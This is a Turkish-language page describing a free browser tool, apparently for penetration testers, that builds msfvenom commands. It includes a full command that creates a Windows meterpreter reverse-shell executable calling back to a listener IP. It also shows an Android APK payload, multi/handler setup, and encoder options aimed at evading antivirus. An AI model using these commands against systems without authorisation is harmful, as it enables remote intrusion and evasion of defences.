Bu araç ne işe yarar?
Msfvenom Payload Builder, platform (Windows x64/x86, Linux, Android, PHP, Python, Java/JSP, ASP/ASPX), payload (meterpreter/reverse_tcp, reverse_https, shell_reverse_tcp), LHOST/LPORT, çıktı formatı (exe, dll, msi, elf, apk, war, raw, psh) ve encoder seçeneklerini tıklayarak çalıştırmaya hazır bir msfvenom komutu üretir. Shikata_ga_nai gibi encoder'ları -i iterasyon ve -b kötü karakter seçenekleriyle birleştirir. Her şey tarayıcıda çalışır, hiçbir veri sunucuya gönderilmez.
Nasıl kullanılır?
- Dinleyici IP ve portunuzu girin.
- İhtiyacınıza uygun komutu veya payload'u seçin.
- Komutu kopyalayıp yalnızca yetkili olduğunuz sistemlerde kullanın.
Ne işe yarar?
Metasploit ile bir hedefi istismar ederken doğru mimari, format ve handler ile eşleşen bir payload üretmeniz gerekir. Bu araç, örneğin 'msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o shell.exe' gibi tam komutu hatasız kurar; ardından 'msfconsole' içinde 'exploit/multi/handler' ile aynı payload, LHOST ve LPORT'u set ederek dinlersiniz. Android için -p android/meterpreter/reverse_tcp -f apk APK payload'u da tek tıkla hazırdır.
Encoder ve AV atlatma
Encoder seçenekleri payload'un bayt imzasını değiştirir: -e x86/shikata_ga_nai -i 10 ile çoklu iterasyon, -b '\x00\x0a\x0d' ile null/CR/LF gibi kötü karakterleri payload'dan eler. Modern Defender'ı tek başına shikata artık genelde atlatmaz, ama bad-char temizliği ve format seçimi (exe-service, dll, psh) hâlâ kritiktir. Builder, seçtiğiniz her seçeneğin komuta nasıl yansıdığını gerçek zamanlı gösterir.
Sıkça sorulan sorular
Encoder nedir, shikata_ga_nai hâlâ AV atlatır mı?
Encoder, payload baytlarını polimorfik olarak yeniden kodlayıp çalışma anında geri çözen bir sarmalayıcıdır; başlangıçta amaç imza tabanlı AV'yi atlatmaktı. Bugün shikata_ga_nai imzası iyi bilindiği için modern Defender'ı tek başına nadiren atlatır; ciddi atlatma için özel shellcode loader, şifreleme veya msfvenom dışı araçlar gerekir.
Staged ve stageless payload farkı nedir?
Staged payload (örn. windows/meterpreter/reverse_tcp) önce küçük bir stager gönderir, o da Metasploit'ten asıl payload'u indirir; küçüktür ama kararlı bağlantı gerektirir. Stageless payload (windows/meterpreter_reverse_tcp, alt çizgi yok) tüm kodu tek seferde taşır; daha büyüktür ama tek pakette çalışır ve handler ayarı 'set payload' ile birebir eşleşmelidir.
Msfvenom Payload Oluşturucu ücretsiz mi?
Evet. Msfvenom Payload Oluşturucu ve MagmaNex'teki 300'den fazla aracın tamamı tamamen ücretsizdir, kayıt veya üyelik gerektirmez.
Verilerim güvende mi?
Evet. Tüm işlemler tarayıcınızda yerel olarak çalışır. Girdiğiniz veriler sunucuya gönderilmez, kaydedilmez veya paylaşılmaz.
Mobil cihazda çalışır mı?
Evet. Msfvenom Payload Oluşturucu telefon, tablet ve bilgisayarda sorunsuz çalışır; ayrı bir uygulama indirmenize gerek yoktur.
🔒 Gizlilik: Tüm işlemler tarayıcınızda yapılır, verileriniz sunucuya gönderilmez.